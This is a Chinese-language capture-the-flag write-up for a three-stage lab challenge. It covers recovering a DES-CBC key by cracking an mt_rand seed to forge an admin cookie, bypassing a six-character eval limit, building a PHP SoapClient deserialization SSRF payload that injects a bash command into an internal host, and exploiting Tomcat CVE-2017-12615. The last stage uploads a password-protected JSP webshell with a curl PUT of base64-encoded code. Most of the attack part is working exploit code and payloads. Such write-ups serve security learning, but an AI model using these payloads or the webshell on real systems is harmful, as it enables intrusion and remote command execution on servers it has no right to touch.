first
从www.zip获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| session_start(); error_reporting(0); include "user.php"; include "conn.php"; $IV = "85196940"; if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){ if(!isset($_SESSION['key'])){ $_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff); $_SESSION['iv'] = $IV; } $username = "guest"; $o = new User($username); echo $o->show(); $ser_user = serialize($o); $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']); setcookie("user", base64_encode($cipher), time()+3600); setcookie("hash", md5($ser_user), time() + 3600); } else{ $user = base64_decode($_COOKIE['user']); $uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']); if(md5($uid) !== $_COOKIE['hash']){ die("no hacker!"); } $o = unserialize($uid); echo $o->show(); if ($o->username === "admin"){ $_SESSION['name'] = 'admin'; include "hint.php"; } }
|
可以观察到, 加密模式为des-cbc
但是明文我们却是知道的, 我们看加密的部分
1 2 3 4
| $o = new User($username); echo $o->show(); $ser_user = serialize($o); $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
|
那么我们现在已知明文密文, 如果能够再获得 key 或者 iv, 就可以直接加解密了, 因为 des-cbc 的加密方式如下(CBC字节翻转原理)
我们看第一个块, 首先取 8 个字节的明文, 与IV
进行异或, 再与KEY
进行加密运算, 之后输出 16 字节的密文, 而如果我们知道KEY
, 后面则是用上一个块的加密结果代替IV
异或, 而我们如果能知道KEY
, 就可以将明文作为IV
, 用密文和KEY
进行解密, 获得的第一个块的值, 就是 IV
可以看到红框中的两个部分是一样的, 但是我们如何获取KEY
呢, 注意到页面中给了这些信息
而源代码中的mt_rand需要seed才能获取随机数。现在已知该函数产生的三个随机数。
采用文章中介绍的方法获取seed
https://www.anquanke.com/post/id/196831
破解脚本需配置三个参数
各参数分别为
- 相隔 226 个数的 R0, R227
- 生成 R0 之前已经生成的个数 offset
- flavour 如果是 php7 则为 1, php5 则为 0
计算的部分如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
$uid_first = $argv[1]??1082636436; $uid_last = $argv[2]??306106574; $seed = rtrim(shell_exec("python seed.py $uid_first $uid_last")); echo "seed: $seed\n";
class User{ public $username; function __construct($username) { $this->username = $username; } function show(){ return "username: $this->username\n"; } } $o = new User("guest"); $mes = serialize($o); $c = $argv[3]??"OS8vWDE4Mk5ETklJYytXTUFLZG5xU2hJeFkyQ2tXbTJEb01wWkhRUThkckpYcnFDR2RpalFhb3dDekRTem82RQ%3D%3D"; $cipher = base64_decode(urldecode($c)); mt_srand(intval($seed)); for($i = 0; $i < 228; $i++){ mt_rand(); } $key = strval(mt_rand() & 0x5f5e0ff); echo "key: $key\n"; $iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($mes, 0, 8)),0,8); echo "iv: $iv\n";
|
然后我们就可以进行反序列化了, 先登录为admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class User{ public $username; function __construct($username) { $this->username = $username; } function show(){ return "username: $this->username\n"; } } $o = new User("admin"); $aaa = serialize($o); $cipher = openssl_encrypt($aaa, "des-cbc", $key, 0, $iv); $cookie_user = base64_encode($cipher); $cookie_hash = md5($aaa); echo "user: $cookie_user\n"; echo "hash: $cookie_hash\n";
|
second
hint.php 中直接给出了位置, 而右键就可以看到注释的源代码,
1 2 3 4 5 6 7 8
| if(isset($_GET['cc'])){ $cc = $_GET['cc']; eval(substr($cc, 0, 6)); } else{ highlight_file(__FILE__); }
|
我们可以通过/?cc=$cc
的方式来绕过,因为$cc
刚好是 6 个长度, 而$
就是重新引用了变量, 使得长度不再受限, 那么我们就可以任意执行了
但是我们看提示的位置是在内网, 我们进不去, 有什么办法可以进去呢
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
可以看到当调用SoapClient
类不存在的方法时, 会触发__call
, 使得我们拥有一个请求注入的机会, 这里就正好可以用来打 SSRF, 因为源码中存在一个反序列化, 反序列化的参数可控, 并且会调用一个show()
方法
1 2
| $o = unserialize($uid); echo $o->show();
|
因而poc可以写为
1 2 3 4 5
| $cmd = urlencode("`\$cc`;bash -c 'payload'"); $path = "http://10.10.1.12/"; $path = $path."?cc=$cmd"; $o = new SoapClient(null, array('uri' => $path, 'location' => $path)); $aaa = serialize($o);
|
third
https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
一个tomcat的老洞,找到一个jsp马上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); } %>
|
1
| curl -X PUT http://10.10.2.13:8080/2.jsp/ -d "`echo PCUKICAgIGlmKCIwMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiaSIpKS5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgIGludCBhID0gLTE7CiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4XTsKICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7CiAgICAgICAgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXsKICAgICAgICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7CiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9CiU+|base64 -d`"
|